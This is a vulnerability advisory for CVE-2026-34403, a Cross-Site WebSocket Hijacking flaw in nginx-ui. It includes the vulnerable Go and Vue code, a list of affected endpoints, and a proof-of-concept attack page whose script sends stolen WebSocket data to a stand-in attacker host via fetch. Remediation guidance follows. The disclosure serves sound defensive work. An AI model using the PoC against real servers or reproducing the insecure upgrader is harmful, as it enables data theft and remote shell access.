CVE-2026-34403: Nginx-UI: Cross-Site WebSocket Hijacking (CSWSH) via missing origin validation on all WebSocket endpoints
Summary All WebSocket endpoints in nginx-ui use a gorilla/websocket Upgrader with CheckOrigin unconditionally returning true, allowing Cross-Site WebSocket Hijacking (CSWSH). Combined with the fact that authentication tokens are stored in browser cookies (set via JavaScript without HttpOnly or explicit SameSite attributes), a malicious webpage can establish authenticated WebSocket connections to the nginx-ui…
Published Apr 21, 2026 · Updated May 7, 2026
Affected packages
github.com/0xJacky/Nginx-UI
- Ecosystem
- Go
- Affected
- < 1.9.10-0.20260316053337-1a9cd29a3082
- Fixed in
- 1.9.10-0.20260316053337-1a9cd29a3082
- Check
go list -m github.com/0xJacky/Nginx-UI
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
All WebSocket endpoints in nginx-ui use a gorilla/websocket Upgrader with CheckOrigin unconditionally returning true, allowing Cross-Site WebSocket Hijacking (CSWSH). Combined with the fact that authentication tokens are stored in browser cookies (set via JavaScript without HttpOnly or explicit SameSite attributes), a malicious webpage can establish authenticated WebSocket connections to the nginx-ui instance when a logged-in administrator visits the attacker-controlled page.
Details
Vulnerable Code Pattern
Every WebSocket endpoint in the codebase uses the same unsafe upgrader configuration:
// Found in: api/terminal/pty.go, api/analytic/analytic.go, api/event/websocket.go,
// api/nginx_log/websocket.go, api/upstream/upstream.go, api/cluster/websocket.go,
// api/nginx/websocket.go, api/certificate/revoke.go, api/sites/websocket.go,
// api/llm/llm.go, api/llm/code_completion.go, api/system/upgrade.go
var upgrader = websocket.Upgrader{
CheckOrigin: func(r *http.Request) bool {
return true // Accepts ALL origins
},
}Cookie-Based Authentication
The Vue.js frontend stores JWT tokens as cookies without security attributes (app/src/pinia/moudule/user.ts):
watch(token, v => {
cookies.set('token', v, { maxAge: 86400 }) // No HttpOnly, no SameSite
})The backend middleware accepts tokens from cookies (internal/middleware/middleware.go):
func getToken(c *gin.Context) (token string) {
// ...
if token, _ = c.Cookie("token"); token != "" {
return token
}
return ""
}Affected Endpoints
All WebSocket endpoints under the authenticated router group are vulnerable:
| Endpoint | Impact | | /api/nginx/detail_status/ws | Leak nginx performance metrics and configuration | | /api/events | Leak system processing events | | /api/analytic/intro | Leak CPU, memory, disk, network statistics | | /api/nginx_log | Read nginx log files (access/error logs) | | /api/pty | Interactive terminal access (RCE if OTP not enabled) | | /api/upgrade/perform | Trigger system binary upgrade | | /api/cluster/nodes/enabled | Leak and manipulate cluster node data |
PoC
Environment Setup
services:
nginx-ui:
image: uozi/nginx-ui:latest
ports:
- "9000:80"
volumes:
- nginx-ui-config:/etc/nginx-ui
volumes:
nginx-ui-config:Attack Page (hosted on attacker-controlled domain)
<script>
// Attacker page at http://evil-attacker.com
// Victim must be logged into nginx-ui
const ws = new WebSocket('ws://TARGET_NGINX_UI:9000/api/nginx/detail_status/ws');
ws.onopen = () => console.log('CSWSH: Connected from malicious origin!');
ws.onmessage = (e) => {
console.log('Stolen data:', e.data);
fetch('https://evil-attacker.com/collect', {method:'POST', body: e.data});
};
</script>Automated PoC Results
[+] VULNERABLE! WebSocket connected from http://evil-attacker.com
[+] Received: {"stub_status_enabled":false,"running":true,"info":{"active":0,...}}
[+] VULNERABLE! Event stream from http://evil-attacker.com
[+] Received: {"event":"processing_status","data":{"index_scanning":false,...}}
[+] VULNERABLE! Analytics from http://evil-attacker.com
[+] Received: {"avg_load":{"load1":0.1,"load5":0.2},"cpu_percent":0.08,...}
[+] CRITICAL: Terminal connected from http://evil-attacker.com!
[+] Terminal output: 'eae7a76e3ef4 login: '
[*] Sent username: root
[+] Output: 'Password: '
[+] Control test (no auth): Correctly rejected with HTTP 403Impact
An attacker can create a malicious webpage that, when visited by an authenticated nginx-ui administrator, silently:
- Steals sensitive server information -- nginx configuration, performance metrics, CPU/memory/disk usage, network traffic statistics, and system events
- Reads nginx log files -- potentially containing sensitive request data, IP addresses, and authentication tokens
- Gains interactive terminal access -- if the administrator has not enabled OTP/2FA, the attacker obtains a full PTY shell on the server, achieving Remote Code Execution
- Triggers system operations -- including nginx reload/restart and binary upgrades
The attack requires no privileges and no knowledge of the victim's credentials. The only user interaction needed is visiting a webpage.
Remediation
- Implement proper origin validation in all WebSocket upgraders:
var upgrader = websocket.Upgrader{
CheckOrigin: func(r *http.Request) bool {
origin := r.Header.Get("Origin")
return isAllowedOrigin(origin)
},
}- Set secure cookie attributes:
cookies.set('token', v, { maxAge: 86400, sameSite: 'strict', secure: true })- Add CSRF token validation to WebSocket upgrade requests as defense-in-depth.
A patch is available at https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.5
Credited to CE2Sec.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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